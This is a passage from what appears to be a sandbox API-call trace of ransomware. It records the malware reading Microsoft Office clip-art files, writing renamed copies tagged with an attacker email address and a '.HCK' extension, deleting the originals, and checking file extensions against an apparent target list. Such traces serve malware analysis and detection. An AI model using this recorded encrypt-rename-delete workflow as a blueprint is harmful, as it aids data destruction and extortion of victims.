dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0161.582] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=2848) returned 1 [0161.582] CloseHandle (hObject=0x374) returned 1 [0161.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 0x220 [0161.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0161.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0161.589] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.590] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0161.604] GetLastError () returned 0x0 [0161.604] ReadFile (in: hFile=0x374, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xb20, lpOverlapped=0x0) returned 1 [0161.606] WriteFile (in: hFile=0x35c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xb30, lpOverlapped=0x0) returned 1 [0161.606] ReadFile (in: hFile=0x374, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0161.606] WriteFile (in: hFile=0x35c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0161.606] SetEndOfFile (hFile=0x35c) returned 1 [0161.606] CloseHandle (hObject=0x35c) returned 1 [0161.607] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.607] SetEndOfFile (hFile=0x374) returned 1 [0161.608] CloseHandle (hObject=0x374) returned 1 [0161.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0161.608] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 1 [0161.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0161.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0161.609] lstrlenW (lpString=".doc") returned 4 [0161.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.609] lstrlenW (lpString=".docx") returned 5 [0161.609] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.609] lstrlenW (lpString=".pdf") returned 4 [0161.609] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.609] lstrlenW (lpString=".xls") returned 4 [0161.609] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.609] lstrlenW (lpString=".xlsx") returned 5 [0161.609] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.609] lstrlenW (lpString=".ppt") returned 4 [0161.609] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0161.609] lstrlenW (lpString=".zip") returned 4 [0161.609] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.609] lstrlenW (lpString=".rar") returned 4 [0161.609] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.609] lstrlenW (lpString=".bz2") returned 4 [0161.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.609] lstrlenW (lpString=".7z") returned 3 [0161.609] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0161.609] lstrlenW (lpString=".dbf") returned 4 [0161.609] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0161.609] lstrlenW (lpString=".1cd") returned 4 [0161.609] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0161.609] lstrlenW (lpString=".jpg") returned 4 [0161.609] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0161.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0161.609] lstrlenW (lpString=".doc") returned 4 [0161.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.609] lstrlenW (lpString=".docx") returned 5 [0161.609] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.609] lstrlenW (lpString=".pdf") returned 4 [0161.609] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.609] lstrlenW (lpString=".xls") returned 4 [0161.609] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.609] lstrlenW (lpString=".xlsx") returned 5 [0161.610] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.610] lstrlenW (lpString=".ppt") returned 4 [0161.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0161.610] lstrlenW (lpString=".zip") returned 4 [0161.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.610] lstrlenW (lpString=".rar") returned 4 [0161.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.610] lstrlenW (lpString=".bz2") returned 4 [0161.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.610] lstrlenW (lpString=".7z") returned 3 [0161.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0161.610] lstrlenW (lpString=".dbf") returned 4 [0161.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0161.610] lstrlenW (lpString=".1cd") returned 4 [0161.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0161.610] lstrlenW (lpString=".jpg") returned 4 [0161.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.610] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0161.610] lstrlenW (lpString="HH01291_.WMF") returned 12 [0161.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0161.610] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=15806) returned 1 [0161.610] CloseHandle (hObject=0x374) returned 1 [0161.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 0x220 [0161.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0161.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0161.611] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.611] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0161.611] GetLastError () returned 0x0 [0161.611] ReadFile (in: hFile=0x374, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x3dbe, lpOverlapped=0x0) returned 1 [0161.613] WriteFile (in: hFile=0x35c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x3dc0, lpOverlapped=0x0) returned 1 [0161.613] ReadFile (in: hFile=0x374, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0161.614] WriteFile (in: hFile=0x35c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0161.614] SetEndOfFile (hFile=0x35c) returned 1 [0161.614] CloseHandle (hObject=0x35c) returned 1 [0161.615] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.615] SetEndOfFile (hFile=0x374) returned 1 [0161.615] CloseHandle (hObject=0x374) returned 1 [0161.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0161.616] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 1 [0161.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0161.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0161.616] lstrlenW (lpString=".doc") returned 4 [0161.616] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.616] lstrlenW (lpString=".docx") returned 5 [0161.616] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.616] lstrlenW (lpString=".pdf") returned 4 [0161.616] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.616] lstrlenW (lpString=".xls") returned 4 [0161.616] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.616] lstrlenW (lpString=".xlsx") returned 5 [0161.616] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.616] lstrlenW (lpString=".ppt") returned 4 [0161.616] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0161.616] lstrlenW (lpString=".zip") returned 4 [0161.616] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.616] lstrlenW (lpString=".rar") returned 4 [0161.616] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.616] lstrlenW (lpString=".bz2") returned 4 [0161.616] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.617] lstrlenW (lpString=".7z") returned 3 [0161.617] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0161.617] lstrlenW (lpString=".dbf") returned 4 [0161.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0161.617] lstrlenW (lpString=".1cd") returned 4 [0161.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0161.617] lstrlenW (lpString=".jpg") returned 4 [0161.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0161.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0161.617] lstrlenW (lpString=".doc") returned 4 [0161.617] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.617] lstrlenW (lpString=".docx") returned 5 [0161.617] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.617] lstrlenW (lpString=".pdf") returned 4 [0161.617] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.617] lstrlenW (lpString=".xls") returned 4 [0161.617] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.617] lstrlenW (lpString=".xlsx") returned 5 [0161.617] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.617] lstrlenW (lpString=".ppt") returned 4 [0161.617] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0161.617] lstrlenW (lpString=".zip") returned 4 [0161.617] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.617] lstrlenW (lpString=".rar") returned 4 [0161.617] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.617] lstrlenW (lpString=".bz2") returned 4 [0161.617] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.617] lstrlenW (lpString=".7z") returned 3 [0161.617] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0161.617] lstrlenW (lpString=".dbf") returned 4 [0161.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0161.617] lstrlenW (lpString=".1cd") returned 4 [0161.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0161.617] lstrlenW (lpString=".jpg") returned 4 [0161.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.618] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0161.618] lstrlenW (lpString="HH01329_.WMF") returned 12 [0161.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0161.618] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=6016) returned 1 [0161.618] CloseHandle (hObject=0x374) returned 1 [0161.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 0x220 [0161.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0161.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0161.618] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.618] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0161.619] GetLastError () returned 0x0 [0161.619] ReadFile (in: hFile=0x374, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1780, lpOverlapped=0x0) returned 1 [0161.620] WriteFile (in: hFile=0x35c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1790, lpOverlapped=0x0) returned 1 [0161.621] ReadFile (in: hFile=0x374, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0161.621] WriteFile (in: hFile=0x35c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0161.621] SetEndOfFile (hFile=0x35c) returned 1 [0161.621] CloseHandle (hObject=0x35c) returned 1 [0161.622] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.622] SetEndOfFile (hFile=0x374) returned 1 [0161.622] CloseHandle (hObject=0x374) returned 1 [0161.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0161.623] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 1 [0161.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0161.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0161.623] lstrlenW (lpString=".doc") returned 4 [0161.623] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.623] lstrlenW (lpString=".docx") returned 5 [0161.623] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.623] lstrlenW (lpString=".pdf") returned 4 [0161.623] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.623] lstrlenW (lpString=".xls") returned 4 [0161.623] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.623] lstrlenW (lpString=".xlsx") returned 5 [0161.623] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.623] lstrlenW (lpString=".ppt") returned 4 [0161.623] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0161.623] lstrlenW (lpString=".zip") returned 4 [0161.623] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.623] lstrlenW (lpString=".rar") returned 4 [0161.623] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.623] lstrlenW (lpString=".bz2") returned 4 [0161.623] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.623] lstrlenW (lpString=".7z") returned 3 [0161.623] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0161.623] lstrlenW (lpString=".dbf") returned 4 [0161.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0161.624] lstrlenW (lpString=".1cd") returned 4 [0161.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0161.624] lstrlenW (lpString=".jpg") returned 4 [0161.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0161.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0161.624] lstrlenW (lpString=".doc") returned 4 [0161.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.624] lstrlenW (lpString=".docx") returned 5 [0161.624] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.624] lstrlenW (lpString=".pdf") returned 4 [0161.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.624] lstrlenW (lpString=".xls") returned 4 [0161.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.624] lstrlenW (lpString=".xlsx") returned 5 [0161.624] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.624] lstrlenW (lpString=".ppt") returned 4 [0161.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0161.624] lstrlenW (lpString=".zip") returned 4 [0161.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.624] lstrlenW (lpString=".rar") returned 4 [0161.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.624] lstrlenW (lpString=".bz2") returned 4 [0161.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.624] lstrlenW (lpString=".7z") returned 3 [0161.624] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0161.624] lstrlenW (lpString=".dbf") returned 4 [0161.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0161.624] lstrlenW (lpString=".1cd") returned 4 [0161.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0161.624] lstrlenW (lpString=".jpg") returned 4 [0161.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.624] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0161.624] lstrlenW (lpString="HH01461_.WMF") returned 12 [0161.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0161.625] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=5958) returned 1 [0161.625] CloseHandle (hObject=0x374) returned 1 [0161.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 